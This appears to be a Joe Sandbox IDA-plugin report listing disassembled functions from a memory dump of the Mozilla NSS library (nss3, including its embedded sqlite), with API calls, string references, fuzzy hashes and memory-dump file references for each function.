Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: adf2803cd5d3d206bbb6f57755b3c63a1c83d11eb2158725384fe07d47def1d7
Instruction ID: eeba5ac7a729dbde6c30b98bfb05a7d142d2060107fd820b9843ae5237583e71
Opcode Fuzzy Hash: adf2803cd5d3d206bbb6f57755b3c63a1c83d11eb2158725384fe07d47def1d7
Instruction Fuzzy Hash: 6E7104B8E061029BFB159F24EC4973E32B9BF45318F154034ED099B24AFB72E911C796

Function 6D018F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D019582), ref: 6D018F5B

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6D018F6A

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D018FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6D018FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0FD820,6D019576), ref: 6D018FF9
DER_GetInteger_Util.NSS3(?), ref: 6D01901D
PORT_ZAlloc_Util.NSS3(?), ref: 6D01903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D019062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6D0190A2
PORT_ZAlloc_Util.NSS3(?), ref: 6D0190CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6D0190F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D01912D
free.MOZGLUE(00000000), ref: 6D019136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6D019145

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 4b88fed66087cd49e2572701bd14d08b4c973c143ae4778cd85281fb11e2ff6f
Instruction ID: 3f041bc8b35272aac5549d42a38d8cce724d54314c25ae97ed90a14c8a205ae7
Opcode Fuzzy Hash: 4b88fed66087cd49e2572701bd14d08b4c973c143ae4778cd85281fb11e2ff6f
Instruction Fuzzy Hash: 3C51D1B5A0C2019BFB01CF69EC81BAAB7E4AF88314F054529ED58C7241E731EA45CB92

Function 6CFCAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CFCAF47

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

FreeLibrary.KERNEL32(?), ref: 6CFCAF6D
free.MOZGLUE(?), ref: 6CFCAFA4
free.MOZGLUE(?), ref: 6CFCAFAA
PR_ExitMonitor.NSS3 ref: 6CFCAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CFCAFF5
PR_ExitMonitor.NSS3 ref: 6CFCB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFCB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CFCB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFCB03C

Strings

%s decr => %d, xrefs: 6CFCAFF0
Unloaded library %s, xrefs: 6CFCB023

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 7ef5ff441f1a33ede8b3b8d26a4cf79912740150d8dd5e8c5156e8096f2abbcb
Instruction ID: d6da601f7aec96dcb82a1ae3af393805f581f4063b58f5ad77656ae7f599ac27
Opcode Fuzzy Hash: 7ef5ff441f1a33ede8b3b8d26a4cf79912740150d8dd5e8c5156e8096f2abbcb
Instruction Fuzzy Hash: 9931D4B9B08112ABEB119FA5EC40B17B7B5AB45308B194125E81587601F772F864D7F3

Function 6D016C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D01781D,00000000,6D00BE2C,?,6D016B1D,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D01781D,?,6D00BE2C,?), ref: 6D016C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D016C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D016C96

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D016CAA

Strings

sql:, xrefs: 6D016C52
rdb:, xrefs: 6D016C69
extern:, xrefs: 6D016C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6D016C91
dbm:, xrefs: 6D016C3A
dbm, xrefs: 6D016CA4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: f199532e6f0e290179375ffbecf706cd3bf1aee4efb4a64fc81fda8492be8793
Instruction ID: 708c8d6fc6a7b56acb8fe7af0273e362bb0fb12813d2807a8b6d077dac9eff4e
Opcode Fuzzy Hash: f199532e6f0e290179375ffbecf706cd3bf1aee4efb4a64fc81fda8492be8793
Instruction Fuzzy Hash: 87018FB2B4931277FA1026A9AC4EF36359DAB411A8F040132FF04E1286FBD2E55480F6

Function 6D024E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CFE78F8), ref: 6D024E6D

Part of subcall function 6CFC09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CFC06A2,00000000,?), ref: 6CFC09F8
Part of subcall function 6CFC09E0: malloc.MOZGLUE(0000001F), ref: 6CFC0A18
Part of subcall function 6CFC09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFC0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CFE78F8), ref: 6D024ED9

Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000,00000000), ref: 6D015942
Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703), ref: 6D015954
Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D01596A
Part of subcall function 6D015920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D015984
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6D015999
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D0159BA
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6D0159D3
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D0159F5
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6D015A0A
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D015A2E
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6D015A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024EB3

Part of subcall function 6D024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D024EB8,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02484C
Part of subcall function 6D024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D024EB8,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02486D
Part of subcall function 6D024820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6D024EB8,?), ref: 6D024884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024EC0

Part of subcall function 6D024470: TlsGetValue.KERNEL32(00000000,?,6CFE7296,00000000), ref: 6D024487
Part of subcall function 6D024470: EnterCriticalSection.KERNEL32(?,?,?,6CFE7296,00000000), ref: 6D0244A0
Part of subcall function 6D024470: PR_Unlock.NSS3(?,?,?,?,6CFE7296,00000000), ref: 6D0244BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F8F
PK11_UpdateSlotAttribute.NSS3(?,6D0FDCB0,00000000), ref: 6D024FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6D02501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02506B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 842578fc580efac6d1d1c0499bbaf41a96218736d872bdfb47666c363f97aa5b
Instruction ID: 8c36e60291e0bfbf5b73e6f6e22ab008aed23114e4538b5a42bd6dba0ab199d9
Opcode Fuzzy Hash: 842578fc580efac6d1d1c0499bbaf41a96218736d872bdfb47666c363f97aa5b
Instruction Fuzzy Hash: 1551F1B9C05202ABFB21AF24EC45B6F76B5FF59318F060134ED0587216FB71E9618AD2

Function 6CFCACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCACE2
malloc.MOZGLUE(00000001), ref: 6CFCACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFCAD02
TlsGetValue.KERNEL32 ref: 6CFCAD3C
calloc.MOZGLUE(00000001,?), ref: 6CFCAD8C
PR_Unlock.NSS3 ref: 6CFCADC0
free.MOZGLUE(00000000), ref: 6CFCAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFCAE58
free.MOZGLUE(00000000), ref: 6CFCAE69
free.MOZGLUE(?), ref: 6CFCAE78
PR_Unlock.NSS3 ref: 6CFCAE8C
free.MOZGLUE(?), ref: 6CFCAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFCAEC7

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0c97c1491554afc2600f9fbebda714c0d64fbbc44fc216dd1ab10ab7255b42e4
Instruction ID: d8a685c2642f63739baae187301cda6cf17403e58737453a2c0f5622e7443c6e
Opcode Fuzzy Hash: 0c97c1491554afc2600f9fbebda714c0d64fbbc44fc216dd1ab10ab7255b42e4
Instruction Fuzzy Hash: 6951ADB5F012169BDB10CFA9EC417AF77B4AB06309F150125D904A7A10E3B1B9A5CBE2

Function 6D0A4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6D0A4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4CFD
sqlite3_value_text16.NSS3(?), ref: 6D0A4D44

Strings

abort due to ROLLBACK, xrefs: 6D0A4D27, 6D0A4D33
out of memory, xrefs: 6D0A4C78, 6D0A4C9E
another row available, xrefs: 6D0A4D20
invalid, xrefs: 6D0A4CF1
unknown error, xrefs: 6D0A4D56
API call with %s database connection pointer, xrefs: 6D0A4CF6
bad parameter or other API misuse, xrefs: 6D0A4D05
no more rows available, xrefs: 6D0A4D2E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: d7e4005044902abb5519a1ac847c72d58e4c3098077615b04b12833c15fe9e17
Instruction ID: 72132fa1a9d160bf12956d326c062ad97c8ad09e05835e9ac345e3da4757834e
Opcode Fuzzy Hash: d7e4005044902abb5519a1ac847c72d58e4c3098077615b04b12833c15fe9e17
Instruction Fuzzy Hash: 6B312579E44912B7F7494AA4A8007F973A6778E310F4E4135D82C5B25BCFA1F85283E3

Function 6D0A2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6D0A2D9F

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

sqlite3_exec.NSS3(?,?,6D0A2F70,?,?), ref: 6D0A2DF9
sqlite3_free.NSS3(00000000), ref: 6D0A2E2C
sqlite3_free.NSS3(?), ref: 6D0A2E3A
sqlite3_free.NSS3(?), ref: 6D0A2E52
sqlite3_mprintf.NSS3(6D10AAF9,?), ref: 6D0A2E62
sqlite3_free.NSS3(?), ref: 6D0A2E70
sqlite3_free.NSS3(?), ref: 6D0A2E89
sqlite3_free.NSS3(?), ref: 6D0A2EBB
sqlite3_free.NSS3(?), ref: 6D0A2ECB
sqlite3_free.NSS3(00000000), ref: 6D0A2F3E
sqlite3_free.NSS3(?), ref: 6D0A2F4C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 36f52a76d5bd72ac36cbcc0d3e60f2136fefd1738769d83d89b00c0e1c43755e
Instruction ID: f2191e6af91395a4e00ac5b28d13ee1114ba79e095a7721216978be9cab4febc
Opcode Fuzzy Hash: 36f52a76d5bd72ac36cbcc0d3e60f2136fefd1738769d83d89b00c0e1c43755e
Instruction Fuzzy Hash: F4617FB5E002068BEB11CFA6D880BEEB7F1AF58348F495034DD15AB342E771E955CBA1

Function 6CFF2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFF3F23,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2C93

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23,?), ref: 6CFF2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?,?,6CFF3F23), ref: 6CFF2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?), ref: 6CFF2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CFEE477,?,?,?,00000001,00000000,?), ref: 6CFF2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CFF2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CFF2D71
PR_Unlock.NSS3(?), ref: 6CFF2D7E

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: b8eda7af1362a0497429baa29601f40096c9281d4c0eda3d71286275ae873293
Instruction ID: df54d1e4d27035041e244016aeea80099fcdd537b7d5e7abafc51eaa9f6939f1
Opcode Fuzzy Hash: b8eda7af1362a0497429baa29601f40096c9281d4c0eda3d71286275ae873293
Instruction Fuzzy Hash: 4C512BB6D00105ABDB009F24EC45AAA7778FF1935CB148524ED2897721FB32ED65CBE1

Function 6CFE7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D132120,Function_00097E60,?,?,?,?,?,6D05F9CF,6D05FAD0,00000000), ref: 6CFE7C81

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

TlsGetValue.KERNEL32 ref: 6CFE7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CFE7CB4
PR_Unlock.NSS3 ref: 6CFE7CCF

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

TlsGetValue.KERNEL32 ref: 6CFE7D04
EnterCriticalSection.KERNEL32(?), ref: 6CFE7D1B
realloc.MOZGLUE(-00000050), ref: 6CFE7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE7DF4
PR_Unlock.NSS3 ref: 6CFE7E0E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 86b6b09f399a16980f188b7fedce825d24f0fbfd054153a61c378551282db5cd
Instruction ID: 74e2ea8c13e9acced7606df24ffde698bc5d9b299fd292a5afbcf97269114065
Opcode Fuzzy Hash: 86b6b09f399a16980f188b7fedce825d24f0fbfd054153a61c378551282db5cd
Instruction Fuzzy Hash: E251D5B5904100BBDF316F28ED40B6677B6EB4A318F16412BDE0497623EBB1D861CBD1

Function 6CF54C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
